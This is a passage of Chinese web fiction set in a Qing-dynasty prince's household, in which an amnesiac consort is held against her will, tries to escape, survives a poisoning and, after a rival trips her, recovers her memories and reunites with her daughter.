君梅是知道自家主子为何会突然生病,突然身子虚弱,十几天前,主子再怎么哭闹都没有生病,是这几日主子爷跟主子在一块才让身子变虚的,她有心提醒:“主子爷,大夫说主子得好好养病。”
“喝药了吗?”
“刚刚喝过了。”
胤禛看了一眼虚弱的人,她脸色有些发白,将自己裹住,生怕他看到什么不该看的,在他看来是掩耳盗铃,她哪里他没摸过没看过。
“好好照顾她,让柯大夫每日过来给她看诊。”胤禛扔下这句话后刚准备离开,只是被叫住。
“我要见弘春。”
胤禛回头,没有回她。
“我要见弘春,我不见十四,但我要见弘春。”
乌锦这阵子也有点摸明白了,这人不想让她见到十四,她提起十四时,他总是沉脸,可见是不想让她见十四,她不见十四
,总可以见弘春吧,弘春只是一六岁的小孩。
“等着。”
“我要等多久?我快死了。”
胤禛回头看她:“你不会死的。”
“我快要难受死了,谁说我不会死,我见不到弘春,我也不想活了。”
胤禛见她生病,样子可怜巴巴的,又是自己把她弄生病的,于是说他明日让弘春进府看她。
“算了,我这样子会把病气传给他,等我病好了,你让他过来看我吧。”
胤禛顿时心情也又不好了,她这么疼爱弘春,可有想过曦宁,曦宁这孩子等于是从小没有了额娘,可弘春那小子却是她看着长大。
他想说什么,最后什么也没说,直接离开。
曦宁这边也听说她额娘生病了,本来她觉得自己额娘都不记得自己,她不想热脸贴冷屁股,所以没听阿玛的话过去桃园跟额娘说话。
她想着额娘生病了,她就过去看看她。
于是她带着奴才过去桃园。
“格格,你来啦。”
曦宁心中还是有些别扭,见到才公公一见到她就扬着笑脸,十分热情,她莫名好受一些,说道:“才公公,我额娘在里面吗?”
“在里面,在里面,主子盼着格格过来呢。”
“才公公,你别骗我了,我额娘都不记得我了,她怎么会盼我过来。”
小才子连忙道:“格格,主子她自己也是有苦衷的,格格你小时候,主子不知道有多疼你,主子她现在是摔着脑袋,什么都不记得,等主子想起来,主子肯定会把格格捧在手心里疼的。”
曦宁是相信才公公说的话的,君梅她们嫁人出府后,只有才公公一人还在府里,他在额娘身边伺候多年,听说是从额娘进府的时候,他就在额娘身边伺候了,她自己也隐约记得额娘跟她说话时是很温柔的样子,轻声细语的。
“我进去看我额娘了。”
“格格快请进。”
乌锦这两天生病,有好几个人过来看她,包括府里的福晋跟侧福晋,还有宋格格她们,只是她对她们比较陌生,能聊的话不多,见到曦宁格格时,她知道曦宁格格是那个人的女儿。
“额娘,你喝药了吗?”
乌锦听到曦宁格格一开口就叫她额娘,她轻皱眉头,纠正道:“我不是你额娘,曦宁格格,你叫错人了。”
曦宁看一眼君梅姐姐,刚想说什么时,君梅姐姐摇头,她只好把话憋回去,额娘正在生病,她不能在额娘生病的时候跟她置气。
“额娘,你好些了吗?”
乌锦见曦宁格格坚持叫她额娘,她心想自己是大人,不能跟小孩子太过计较,于是就没有再纠正她,面对别人的关心,她说她好多了。
“我听说额娘发烧了,额娘烧退了吗?”
曦宁格格顺势坐在床边,上手摸了摸额娘的额头,感觉有点烫。
“快了,曦宁格格不用担心,只是普通感冒而已,很快就好了,谢谢曦宁格格关心。”
“阿玛来看过额娘了吗?”
乌锦不是特别想提起那个人,她被关在这里都是那个人所为,她也不喜欢曦宁叫那个人阿玛,叫她额娘,这样叫起来好像她跟那个人是一对似的。
“曦宁格格,你平日里都在府里做什么?”
“我会跟姐姐一起做针线活,偶尔看书写字,阿玛会检查我的字写得好不好,额娘,你可以跟我一起做针线活。”
乌锦这阵子没什么心情做针线活,不过她也笑着附和小孩子的话,说一句当然可以。
“这可是额娘答应我的,额娘别嫌我烦。”
“我不会嫌你烦的,对了,你可以见到你十四叔吗?”
曦宁有听说阿玛跟十四叔吵起来的事,那日十四叔带着人过来,她有见到,她不大喜欢十四叔,不过额娘这么问,她点点头说她可以见到,去十四叔府上就可以了。
“那你帮额娘给你十四叔带一封信可以吗?”
“什么信?”
“就是一封信。”
曦宁觉得这事不难,就答应下来。
乌锦也很快起身去写信,写好之后交给曦宁。
“一定要亲手交给你十四叔。”
曦宁点头,说她知道了,她拿着信离开桃园,本想出府去十四叔那里,被阿玛叫住。
“要去哪?”
曦宁如实说她要去十四叔那里。
“你额娘让你去的?”
曦宁点头。
“额娘让你给十四叔带什么话?”
曦宁说是一封信。
“给我看看。”
曦宁总觉得这信是额娘给十四叔的,提前给阿玛看好像哪里不对,她犹豫。
“曦宁,你十四叔跟弘春会把你额娘抢走,你额娘之所以没有陪着你长大,都是你十四叔的错,日后你额娘让你做什么,你都得先过来告诉阿玛,不然他们又把你额娘抢走。”
“为什么他们会抢走额娘?”
“因为你十四叔是小人,他不仁不义,你要是为你额娘好,就听阿玛的话,把信给阿玛。”
曦宁不完全是小孩子,她听得出来阿玛对十四叔的不喜,额娘也的确是消失了好多年,之前别人都说她额娘已经死了,额娘这次突然回来,她虽然不知道发生了什么,但她觉得她应该相信阿玛,她不能再失去额娘,于是她把信交给阿玛。
“你额娘要是问起,就说你已经把信交出去了。”
曦宁点头应是,最后她也没有出府。
连着好几天,她都过去桃园找她额娘,额娘的确对她很好,温温柔柔地跟她说话,也教她做针线活,额娘的针线活非常出色,能绣出好多不一样的图案。
她见额娘每天都窝在桃园里面,哪也不去,她就带额娘到花园那边逛一逛,到池塘边喂鱼,她觉得她额娘气色变好不少,也退烧了。
她想带额娘出府,想跟额娘一块去首饰铺买首饰,只是君梅姐姐说这得先问过阿玛,她过去前院问阿玛。
胤禛看了一眼自己的女儿,问了一句:“这是你额娘的主意还是你自己的主意?”
“是我的主意,我想跟额娘一块逛街,阿玛,这……难道不可以吗?我保证会把额娘带回来,阿玛要是不放心的话,可以派人跟着我们。”
“阿玛知道了,明日阿玛陪你们出去。”
曦宁有些意外:“阿玛要跟我们一起逛街吗?”
“嗯。”
曦宁知道若是不让阿玛跟着,可能阿玛不会让额娘出府,她觉得阿玛有意拘着额娘,这话她不敢当着阿玛的面说。
她回到桃园跟额娘说了明日阿玛陪她们出府逛街,额娘看上去还是有点高兴的,她便开始期待起明日。
翌日,曦宁跟阿玛与额娘坐一辆马车,阿玛跟额娘没有说话,只有她一个人在说话,到了首饰铺时,她跟额娘下马车,阿玛他们在外面等她们。
“额娘,这个好看吗?”
“好看。”乌锦心不在焉地回道,她好不容易出来一趟,她无论如何要逃走,这是难得的机会,她不能再被关着,只是此时她跟曦宁格格身边有六个奴才跟着,外面更是有七八个护卫,她扫一眼四周。
“额娘,这个红坠子好看吗?”
曦宁拿着红色耳坠在她耳朵上比了比,乌锦才回神,说好看,她也假意拿起几个镯子在自己手上戴了戴。
“好看,都买了。”
身后响起一道低沉的嗓音,这人不知何时站在她身后,乌锦还在想逃跑的事,突然的出声把她吓一跳,顿时心虚起来,见到奴才已经开始付银子。
反倒是曦宁在一旁不满道:“阿玛,哪有这样的,什么都买的话就不叫逛街了,阿玛,你让我跟额娘慢慢看。”
曦宁还想慢慢挑,买首饰就是要挑,而不是全部都买下,她晓得阿玛有银子,但是不是所有首饰都适合她们。
胤禛被自家女儿训了一句,也只好闭嘴。
“额娘,你别管阿玛,我看这几个镯子一般,我给额娘挑镯子。”
乌锦见到曦宁给她挑了几个镯子,她戴在手上,说很好看。
“那这几个都买了。”曦宁觉得自己额娘长得好看,戴什么手镯都好看,更别说是她挑的,她高兴地让阿玛付银子。
他们一群人在首饰铺里待了快半个时辰,花了上百两,曦宁挽着她额娘的手走出首饰铺,额娘说再在附近逛逛时,她欣然同意。
她们见到有人在街上表演喷火时,曦宁带着额娘挤进人群中。
乌锦觉得这会人多,正是逃走的好机会,她刚想往旁边挪去,后领子就被抓住,她回头一看,又是他。
她顾不得什么,抬手扇了他一巴掌,顺带踹他,在他迫不得已松开她时,她拼命挤出去往前跑。
只是人还没跑出多远就被他抓住了。
“你让我走吧,我要见十四跟我的孩子。”乌锦被抓住时心生绝望,眼泪已经不由自主地流下来,卑微地恳求他。
胤禛早就察觉她想逃跑的心,比起以前的她,现在的她太过单纯,什么都表现在她的脸上,见到她落泪,他只觉得堵心。
“算我求你了,放我走吧,我不是你的侧福晋。”
曦宁有点呆愣地看着眼前这一幕,喃喃道:“额娘……”
乌锦听到曦宁的话,哽咽道:“我真不是你额娘,我是弘春的额娘,曦宁,你让你阿玛放我走吧。”
“阿玛……”
胤禛把人直接打横抱起来。
乌锦拼命挣扎,最终也没能逃过被他桎梏住,她被他强行抱回马车上。
曦宁也跟着上来,她明显吓到了,看了一眼阿玛,又看了一眼额娘。
乌锦在车厢内静默不语。
“额娘……”
“我不是你额娘。”
曦宁的心被扎了一下,忍不住看向阿玛。
胤禛说道:“你额娘在说胡话。”
乌锦觉得这次回去,她肯定不能再出来了,这样一来,她何时才能见到十四跟弘春,她突然想从马车上跳下去。
曦宁看着阿玛跟额娘突然开始打起来,额娘挣扎得厉害,也哭得厉害,她看额娘可怜,忍不住想帮她额娘:“阿玛,你松开额娘吧,别打了。”
胤禛他也没想到乌锦今天有那么大的力气,早知道就不让她出来了,他只好让人先停车。
乌锦很快从马车上跳下去,又开始往前跑,只是对方人多,很快将她围住,她眼神愤恨地看着他,忽然间她见到十四,她快步朝着十四跑过去。
胤禛也见到十四了,没有追,让她朝着十四跑过去。
乌锦很快躲到十四身后,紧紧抓着十四的袖子。
大庭广众下,胤禛不想当着这么多人的面跟胤禵当街起冲突,十四显然是有备而来,就等今日出府的机会,他带出来的人不足以跟十四的人抗衡,他什么也没说,转身离开。
曦宁见到额娘跟着十四叔离开,她想说什么,但还是忍住了,跟阿玛上了马车。
“阿玛,额娘为什么要跟着十四叔离开?”曦宁还是忍不住问道。
“因为你额娘不记得我们了。”
“那我到底是不是额娘的女儿?”
胤禛摸了摸女儿的脑袋,肯定道:“你跟你额娘长得那么像,要是你都不是你额娘的女儿,还会有谁是你额娘的女儿。”
“我看弘春弟弟跟额娘长得也像,弘春弟弟是额娘的儿子吗?”
胤禛否认道:“你额娘只有你一个女儿,没有儿子,弘春跟你额娘长得不像,别瞎想,很快,你额娘就会回来了。”
曦宁听着这话莫名担心起来,如阿玛所说,额娘都不记得他们了,看上去也不喜欢阿玛,只想回到十四叔身边,刚刚额娘哭的时候很可怜,阿玛要是强行把额娘带回来,额娘会不会受伤,她不想看到额娘受伤。
“阿玛,既然额娘不记得我们了,不如我们就让额娘回到十四叔身边吧,额娘今天很可怜。”
“别说傻话,你额娘肯定会回到我们身边。”
曦宁觉得阿玛说这句话时样子很严肃,语气很阴冷,她莫名不敢再继续说下去,怕惹恼阿玛。
胤禵见到四哥他们离开,明显松一口气,想也没想先带乌锦回去,回到府里的乌锦已经哭个不停,这阵子她是担惊受怕了。
胤禵抱着她安抚她。
乌锦哭累了就睡着了。
胤禵知道四哥肯定不会善罢甘休,他只是不想跟他当街起冲突,一旦见血势必会传到皇阿玛那里,也还好乌锦是愿意跟着他回来,她还是什么都没想起来。
乌锦睡醒后起来见到十四跟弘春,又忍不住哭起来,抱着弘春哭得厉害,弘春也哭了。
“十四,你不来接我,我好害怕。”
胤禵擦去乌锦的眼泪,都怪他没用,四哥是兄长,他始终压他一头,不是他不想过去接她,而是他不能。
“十四,我们回镇北关好不好?”
“我们会回去的,再等等。”
“那人还会把我抓走吗?”
胤禵看向乌锦,她眼里的害怕显而易见,在这个时候,他只能撒谎道:“不会了,桃子只要不想回去,谁都带不走你。”
此后几天,胤禵严防死守,每日都待在乌锦身边,哪也不去,就怕四哥突然上门,又把乌锦带走。
只是这几天很平静,四哥没有过来。
胤禵离京太久,不像四哥在京城已经有权有势,被皇阿玛封为亲王,而他只是贝子,朝中不少大臣是四哥的人,若是硬碰硬,他知道自己没有胜算。
第104章第104章新文《康熙家的德妃又作又……
十四福晋完颜氏这阵子听到一些风言风语,尤其是前阵子四阿哥直接闯入府邸把吴侍妾带走,她就感觉哪里不对劲。
她本来以为吴侍妾被带走就不会回来了,结果才刚过半个月,人又被十四阿哥接回来了。
她之前认为吴侍妾是红颜祸水,连勾两个阿哥,让四阿哥跟十四阿哥为她争风吃醋,她跟四阿哥府中的郭侍妾是表亲,她的额娘跟郭侍妾的额娘是同族表姐妹,她从郭侍妾口中得知这吴侍妾竟然是四阿哥原先不见尸首的侧福晋乌氏。
她对乌氏有所耳闻,原先四阿哥养外室的事几乎在京城的名门世族中是人尽皆知,被当成八卦一样众□□传,尤其是这外室后来生了格格,成了侧福晋,更是京城里的一桩奇谈,大家都说那乌氏是飞上枝头变凤凰,连带着乌家人跟着鸡犬升天。
只是这乌氏不是在七年前就死了吗?怎么突然间又活过来,成了十四阿哥的侍妾,完颜氏想到德妃娘娘见到吴侍妾时的震惊,她才理清了事情原委。
当年乌氏其实并没有死,不然也不会找不到尸体,这吴侍妾就是当年的乌氏,四阿哥的侧福晋,而她为何会成为十四阿哥的侍妾,完颜氏没想明白。
既然吴侍妾是当年的乌氏,那她就是四阿哥的侧福晋,是十四阿哥强占四阿哥的侧福晋,十四阿哥理亏。
还有弘春究竟是谁的孩子,他真的是十四阿哥的孩子吗?若真是十四阿哥的孩子,那岂不是乌氏为四阿哥生了曦宁格格,为十四阿哥生了弘春阿哥?
完颜氏都不敢往下想,她去花园时见到十四阿哥、乌氏跟弘春在花园那边射箭,他们在花园里弄个箭靶,十四阿哥正在教弘春射箭。
她目光不由落到乌氏身上,乌氏的确长得好看,让人忍不住想多看两眼,气质又温柔娴雅,哪怕比十四阿哥年长,跟十四阿哥站在一起也会觉得登对,看得出十四阿哥很喜欢她,她见十四阿哥将乌锦圈在怀里教她拉弓。
完颜氏就不想继续看下去,转身回自己的院子,心中嫉妒,又无计可施。
过了两日,有一奴才匆匆过来说吴侍妾出事了,说是中毒,十四阿哥正让人去请太医。
中毒?哪来的毒?
完颜氏还是带着人过去乌氏所在的院子,她还没走进去就听到弘春的哭声,见到一丫鬟端着一盆血水出来,她进屋一看,乌氏虚弱地躺在床上,嘴角还在流血,弘春在一旁哭,而十四阿哥一直想捂住乌氏流出来的血,那血还是黑色的。
胤禵没想到他千防万防还是出事了,乌锦方才用了午膳后一直说不舒服,不到一会,她就开始吐血,这么迅速的恶化一看就是中毒了。
只是那些膳
食,他跟弘春也吃了,他们没事,唯独乌锦出事,他急忙让人去请太医跟大夫,只是他怕等不到太医跟大夫过来,乌锦就吐血过多而亡。
胤禵想到自己额娘,额娘先前就让他杀了乌锦,额娘想要乌锦死,这毒一定是额娘让人下的。
“快,洪巍,你速去找四哥,让四哥去宫里跟额娘要解药,快去!”
洪巍连忙应是,直接跑出去。
胤禵等到几个太医过来,急忙侧身让太医们给乌锦看诊,几个太医都一致认为是中毒之症,只是他们一时也不知道是什么毒,只有知道是什么毒才能对症下药,不然只能延缓,不能彻底根治。
“你们若是医不好,小心你们的脑袋!”胤禵怒道。
几个太医又是开药又是施针,乌锦终于不吐血了,但人也已经昏过去。
不知过了多久,胤禵见到四哥等人过来,他问四哥有没有要到解药。
胤禛没理胤禵,直接把乌锦搀扶起来,将两颗解药丸塞进乌锦口中,又喂了水后看着乌锦咽下去后才把她放下来。
完颜氏诧异地看着眼前这一幕,果然传言不假,这吴侍妾真是乌氏,是四阿哥的侧福晋。
过了半个时辰后,太医轮流给乌锦把脉,都说乌锦的脉象已经开始平稳下来,症状好转。
胤禵才松一口气,果真是额娘让人下的毒,他不知道四哥是怎么要到的解药,还好四哥过来得及时。
“人,我带走了。”
胤禵立即反对道:“四哥,她都不记得你了,你把她带走,她醒来后见到你一定会害怕,这对她恢复不利。”
“四伯伯,你不能把额娘带走,这是我额娘。”弘春张开双手挡在床边,不让别人带走他额娘。
胤禛看了一眼苏培盛,苏培盛会意,把弘春阿哥拉开,他弯腰把人抱起来往外走。
胤禵自知理亏,是他没保护好乌锦,若是乌锦继续留在他这边,他不知道额娘会不会再对乌锦下手,再有下一次,他怕乌锦等不到解药。
“哎哟……”苏培盛被弘春狠狠咬了一口,像是要把一块肉咬下来,疼得他叫了一声。
“弘春。”胤禵把弘春拉过来。
“阿玛,你拦住他们,不能让他们带走额娘。”弘春红着眼睛哽咽道。
胤禵知道当四哥见到乌锦那一刻起,他就不能再像以前那样拥有乌锦,四哥不会对乌锦放手的,他现在还斗不过四哥,真斗起来也会是他输。
“弘春,你额娘还会回来的。”
弘春躲在他怀里大哭。
……
乌锦醒来时人很无力,她忍不住轻声唤了一声青茉,可她听到的不是青茉的声音,而是君梅的,她见到君梅时眼睛放大,眼珠转了转,发现她又回到桃园,这是怎么回事。
“主子,你醒啦。”
“我……我为什么会在这里?”
“主子爷带主子回来的,主子之前中毒了,主子爷说主子先好好养身子。”
乌锦皱眉,中毒?她只记得自己不舒服,吐血了,之后就什么都不记得了,原来那是中毒,谁给她下的毒,她中毒了,为什么会回到桃园,十四呢,弘春呢,她这是又要被关起来了?
她想说话,只是没有太多力气。
“主子,我扶你起来先喝药,喝完药我们再喝一碗粥。”
乌锦稍微吃点东西后才觉得恢复一些,她问十四在哪,君梅表情为难,她也就不再问,她清醒一会又睡过去了。
连着三天,她虚弱地躺在床上,要人照顾,她没见到十四跟弘春,也没见到那个人,她知道自己先把身子养好才是正事。
她不像第一次那样开始哭闹,她想十四总会来找她的。
到了第五天,她才勉强可以下地走路,人恢复一些,她问君梅知不知道谁给她下的毒,君梅她们都说不知道。
乌锦正坐在铺炕上喝药时,才公公进来通传说曦宁格格过来了,问她要不要见,她想了想示意才公公把人带进来。
曦宁进来时没有叫她额娘,只是问她身子好些了没有。
“好多了,多谢曦宁格格关心。”
曦宁不知道自己额娘是中毒,她以为是生病,阿玛又把额娘带回来了,她觉得肯定是额娘不愿意回来才导致的生病。
“阿玛他……他其实不是故意的,额娘别怪阿玛。”
乌锦不愿意为难小孩子,她只是笑了笑,说上次吓到她了,跟她道歉。
“额娘,没事,我没那么容易吓到。”
曦宁看着自己额娘喝完药,又吃了一块橘子蜜饯,她坐在额娘旁边时,额娘也往她口中塞了一块,甜滋滋的,她心情大好。
“额娘,你会下棋吗?要不我跟额娘下棋吧。”
“好。”
曦宁跟额娘下棋,不过额娘棋艺不精,很快输给她了,她陪着额娘又下了几盘,直到额娘说她累了,她们才没有继续下。
额娘回床上歇息后,她就离开了,她过去找曦玉姐姐,嫡额娘说曦玉姐姐年纪大了,要准备嫁人了,这阵子嫡额娘跟李额娘在为曦玉姐姐找夫家。
“曦玉姐姐,你在做什么?”
“我额娘让我做针线活,我不明白明明有绣娘,我额娘为何还要我亲自做针线活。”
曦宁凑过去看曦玉做的针线活,针线歪歪扭扭的,她不由一笑:“我想李额娘觉得你快嫁人了,都说女孩子要手巧,有一手精湛的绣工,李额娘是想让你临时抱佛脚。”
“你的针线活也一般,怎么不见你学?”
“我又没有要嫁人,是姐姐要嫁人。”
曦玉害羞地轻轻地推了推曦宁,两姐妹打闹在一块,过一会儿,曦玉问她额娘好些了嘛。
“还没完全好,曦玉姐姐,我不大记得小时候的事,你能跟我说说我额娘以前是什么样的吗?”
曦玉回想一下,以前曦宁的额娘脸上有一块疤,样子比较丑,她以前不喜欢曦宁,也不喜欢曦宁的额娘,跟她们来往并不多,她只记得阿玛以前很偏爱曦宁的额娘,也偏爱曦宁,她小时候常常因为阿玛偏心曦宁而不高兴。
后来是曦宁的额娘“死”后,她觉得曦宁可怜,才跟她玩在一块,渐渐的,她们的关系才变好的。
曦玉回想小时候的自己,其实很容易钻牛角尖,后来阿玛跟她说她跟曦宁是姐妹,她们本该关系亲近的,她自己也意识到她跟曦宁才是亲姐妹,那些堂姐妹不算亲姐妹,跟她们关系再好也不是亲姐妹,始终亲疏有别。
“我其实也不太记得了,我只记得阿玛最喜欢你额娘,阿玛常常去你额娘那里。”
当时曦宁的额娘是府里最得宠的人,连她额娘都比不上。
“我额娘都不记得我了。”
听到曦宁这么说,曦玉忍不住看向她,曦宁脸上有明显的伤心失落,她也听说曦宁的额娘摔坏脑袋了,不记得以前的事,连曦宁是她女儿都不记得了,额娘五岁开始就没有额娘,如今额娘回来了,却又不记得她,她顿时觉得曦宁很可怜,没等她安慰她,曦宁就打趣她。
“曦玉姐姐,你额娘给你找了京城哪位公子,有空我们偷偷去看一下。”
曦玉知道嫁人意味着什么,她一张脸羞红:“你别说我,你以后也是要嫁人的。”
“姐姐害羞了,这没什么好害羞的,男大当婚,女大当嫁。”
“我只希望自己还能留在京城,以后能常常回家。”
曦玉希望自己不要远嫁,大伯的女儿曦盈被祖父赐婚,远嫁蒙古,据说远嫁蒙古的格格可能一辈子都不会再回到京城,见不到家人,还好祖父没有给她赐婚,阿玛跟嫡额娘他们可以为她挑选夫婿,她很大可能会留在京城。
曦宁靠在曦玉身上:“姐姐要是嫁人了,我们就不能天天见面了。”
“你天天见我,我还觉得烦呢。”
“我不觉得烦,我就天天过来找姐姐。”
两姐妹又打闹起来。
……
十月初,京城变冷,树叶泛黄。
乌锦终于痊愈,她跟曦宁一块去花园那边,她拿着鱼食到池塘边喂鱼,许是天气冷,那些鱼在水里游得不快,吃鱼食也慢悠悠的。
“给侧福晋请安,侧福晋万福。”
乌锦回头,见到来人,她记得这人是郭侍妾,之前来探望过她,对方叫她侧福晋时,她下意识皱眉,说她不是侧福晋。
“侧福晋在喂鱼吗?”
“嗯。”
郭侍妾靠近,往下看池塘里那些鱼,伸手跟乌锦要些鱼食,她往池塘里面洒鱼食,见那些鱼不吃,顿觉无趣,她偏头看乌锦,谁能想到乌锦竟然没死,不仅没死,脸上的疤也没了,有曦宁格格在,她没有多说什么。
“额娘,天冷了,不如我们吃烤鱼吧。”
“好。”
“我们叫上阿玛一起。”
乌锦没有说话。
曦宁只好改口道:“算了,不叫阿玛,就我们自己吃。”
郭侍妾在一旁插话道:“曦宁格格,这池塘里的鱼恐怕不好吃。”
“没事,能吃就行,抓几条
小的,肉嫩一些。”曦宁笑道。
“今天花园好热闹啊。”
身后传来一道娇柔的嗓音,几人回头,乌锦不认得这个人,还是郭侍妾喊了一声年格格,她才知道这人是四阿哥的女人,四阿哥府里的女人多,她记不过来。
二十岁的年氏她梳着旗头,发髻上插着一支金嵌珠石兰花蝴蝶簪,身着一袭淡粉色旗装,外加一件素绒绣花袄,脚上的软底珍珠绣鞋很是精致,年轻的脸庞略施粉黛,样貌标致,身材姣好。
“这位就是乌侧福晋吧,妹妹入府时,姐姐不在,今日是妹妹第一次见姐姐,妹妹听说姐姐容貌出色,今日一见果真如此,姐姐也太好看了。”
郭侍妾看着年氏矫揉造作的样子,这几年年氏十分得宠,年氏又年轻,得宠的她在府里除了福晋跟侧福晋李氏,谁都看不上,常常一副心高气傲的样子,下巴微抬,属于是用鼻孔看人,跟她们这些不得宠的格格侍妾说话时都是斜着眼睛,今儿这么娇嗲着嗓音说话比较少见。
她不由想起当年乌氏得宠时的样子,简直跟年氏天差地别,当年的乌氏跟年氏如今的恩宠比起来是有过之无不及,可是乌氏也没有斜着眼睛看人,更不会冷嘲热讽那些不得宠的人,在后院里属于过自己的日子,性子平和、不惹事的人。
跟年氏比起来,她更喜欢乌氏,果真是要有对比才知道哪个好,乌氏虽然被主子爷接回来了,但似乎不怎么得宠,这半个月还是年氏侍寝比较多。
乌氏跟主子爷中间横着一个十四阿哥呢,乌氏失宠也情有可原,没有哪个男人能忍受这些。
“侧福晋是真的好看,不过年格格也好看,我一直听说年格格跟侧福晋有几分相像,今日一看,还真是如此。”
郭侍妾话语一落就见到年氏瞪她一眼,她在心里偷笑,以前年氏嘲讽她,她只能吃哑巴亏,她终于扳回一次。
其实年氏得宠时,有人就说是因为年氏跟乌锦有几分相像,当时大家都以为乌锦已经死了,主子爷当初多喜欢乌锦,人人皆知,乌锦的死让主子爷消沉好几年,她们都说年氏是沾了乌锦的光,要不是她长得跟乌锦有几分相像,主子爷也不会这般宠她。
所以她故意说这话是为了刺年氏一句,她想年氏肯定也听说过这些传闻。
年氏自然不觉得自己跟乌锦长得像,不过不少人这么说,她当然就开始介意起来,今日见到乌锦,她不得不承认乌锦的确漂亮,不过她觉得不如她,乌锦上年纪了,她气道:“郭姐姐莫不是眼瞎了,眼睛不好使的话就把眼睛挖掉。”
年氏越生气,说明她越在意,郭侍妾轻轻一笑:“可能真的是我眼睛不好使,还请妹妹别介意。”
曦宁不喜欢别人说年格格跟她额娘长得像,她额娘只有一个,她不高兴道:“年夫人跟我额娘一点都不像,我才是最像我额娘的人。”
郭侍妾笑道:“曦宁格格说得对,你跟你额娘简直是一个模子印出来的,只有你跟侧福晋最像,别人可能都是东施效颦。”
年氏又瞪一眼郭侍妾,知道她是在嘲讽她,她心想看她日后怎么收拾她,她目光再次落在乌侧福晋身上,她不喜欢她看人时的眼神,在装天真无辜,她才不信主子爷宠她是因为乌侧福晋,主子爷就是喜欢她,而不是因为她长得像乌侧福晋。
她过去,挤在郭侍妾跟乌侧福晋中间,“姐姐,我看你气色好很多了,可是病愈了?”
“嗯,我已经痊愈了。”
“那就好,我很担心姐姐,姐姐痊愈了就好。”
“你若是真担心侧福晋,怎么不去看侧福晋?”
年氏勾唇一笑:“我倒是想过去,只是主子爷夜里总让我侍寝,我白天醒来总觉得浑身酸痛,所以才没有过去。”
郭侍妾很想翻白眼,又在炫耀自己得宠,三句话中有两句话会炫耀自己多么得宠,她忍不住说道:“没办法,我们人老珠黄,妹妹还年轻,等妹妹到我们这个年纪,希望妹妹还能这么说,妹妹只是浑身酸痛,我还以为妹妹是走不动路,失去双脚了。”
“额娘,我们去那边看看花吧。”曦宁见她们要吵起来,她知道她们都想争宠,她不想让额娘听到这些,想带额娘去别的地方。
她们走开。
“我也想看看花。”年氏很快跟上。
郭侍妾也跟上。
这个时候花园里的花没有那么旺盛,倒是桂花树在这个季节开花,桂花的味道很明显。
“额娘,我们可以摘点桂花,让膳房的人做桂花糕。”
“好。”
母女两开始摘桂花,花园里有三棵桂花树,她们分开摘,曦宁让奴才们也跟着摘,说今日就要吃到桂花糕。
年氏是主子,摘桂花这种事是奴才做的,她才不想降低身份,她目光不由自主地落在乌侧福晋身上,想到那些传言,郭侍妾的嘲讽,她心中越发不悦起来,很是厌恶她。
她如今得宠,侧福晋不得宠,都这么多年过去了,侧福晋上年纪了,主子爷不可能像以前那样那么喜欢她,侧福晋生病半个月,也没见主子爷去看过她,可见她在主子爷心中已经没那么重要,她失宠了,更何况她只生了曦宁格格,没有阿哥,既失宠又没有阿哥,家世也一般的侧福晋有何惧。
年氏见侧福晋抬头只顾着摘桂花,她在侧福晋前面,她伸出一只脚,故意绊她。
乌锦没注意到年氏伸出来的脚,当她注意到的时候已经来不及了,她手里又拿着一个小筐,她下意识不想让摘的桂花洒出来,在慌乱之中,她已经忘记要先护住脑袋,护住的反而是那筐桂花,反而让脑袋着地,前额直接重重磕到坚硬的青石地面上。
温热的鲜血从额头上流出来,她眼前一黑,很快失去意识。
年氏也没想到侧福晋会磕到头,她以为只是摔一跤,摔一跤不会有什么大碍,顶多是一些擦伤,死不了人,磕到头就不一样了,她发现侧福晋额前流血,人直接昏过去,她在心里暗道不好,没想到她会伤得这么重,她故作紧张高喊道:“侧福晋,你怎么了?来人呀,侧福晋摔倒了,快来人啊。”
曦宁她们听到喊声,很快围过来。
“额娘,额娘……”曦宁见到血,吓得差点哭出来,自己额娘这才刚刚痊愈,怎么又受伤,每次她带额娘出桃园都会有意外发生,她见到额娘额头上不仅流血,还直接肿起一块。
“格格,快送主子回去,翠香,你快去请大夫,还有去告诉主子爷跟苏公公他们。”君梅连忙道。
一群人急急忙忙把乌锦驮回去。
第105章第105章新文《康熙家的德妃又作又……
“你额娘会没事的,别哭了。”胤禛安慰曦宁。
“阿玛,我以后再也不带额娘出去了。”曦宁哽咽道。
父女两都坐在床边,床上昏迷的人已经包扎好伤口,只是人还没醒。
“你额娘不会怪你的。”
曦宁刚想说话就见到额娘的眼睛好像动了动,她激动道:“阿玛,额娘好像要醒了。”
胤禛回头看向床上的人,乌锦额头上缠着一层纱布,她眼睛在轻颤,在她睁眼时,她的目光茫然又惊惧,似是从噩梦中醒来,在她看向他时,眼里又充满着不可置信。
只听见她开口,语气虚弱道:“胤禛,我这是在哪?”
这下轮到胤禛震惊,他一下子握住乌锦的手,攥得很紧:“你叫我什么?”
什么都不记得的乌锦不会叫他胤禛,她连主子爷都不叫,她看向他的眼神中总是充满怨恨与不满,胤禛二字是乌锦没失忆前偶尔生气时会这样唤他。
“你刚刚叫我什么?”
乌锦感觉到自己仿佛从一场很漫长很漫长的梦中醒来,她很是疲惫,她记得她跟四阿哥是遇刺了。
她又闭上眼睛,以前的记忆跟这七年的记忆纷沓而至,她只觉得脑子很疼很乱。
“乌锦,你是
不是想起什么了?”
耳边传来四阿哥的声音,乌锦睁眼,目光没落在四阿哥身上,而是旁边的曦宁身上,她的女儿都已经这么大了,以前还是五岁的小女孩,一眨眼已经是亭亭玉立的大女孩,她错过了曦宁的成长。
胤禛有些不确定,他注意着乌锦脸上每一个细微表情的变化,见她盯着曦宁时眼眶慢慢泛红,他还是不敢确定。
“乌锦,你……你是不是想起以前的事了?”
“额娘……”曦宁见到自己额娘呆呆愣愣的,迟迟没有说话,她担心地出声,怕额娘再摔坏脑袋。
“胤禛,我什么都想起来了。”
胤禛一听到这句话就把她拉起来,紧紧抱住,这些日子她只记着十四,张口闭口就是十四,快把他折磨疯了,他想杀了十四的心都有了。
乌锦被勒得咳嗽两声,她没有胤禛那么高兴,正因为她什么都想起来了,她觉得这一切简直是一团乱麻。
“阿玛,额娘要喘不过气了。”曦宁见额娘难受,提醒一句。
胤禛这才把人松开,依旧不可置信地看着乌锦:“你真的什么都想起来了?”
乌锦嗯了一声,她看向曦宁,倾身过去抱住曦宁,抱住时眼泪也不由自主地流下来:“曦宁,额娘对不住你,额娘不该把你忘了的。”
曦宁疑惑:“额娘,你怎么了?”
“额娘什么都想起来了,额娘也想起来曦宁是额娘怀胎十月生下来的,曦宁的生辰是八月三十日。”
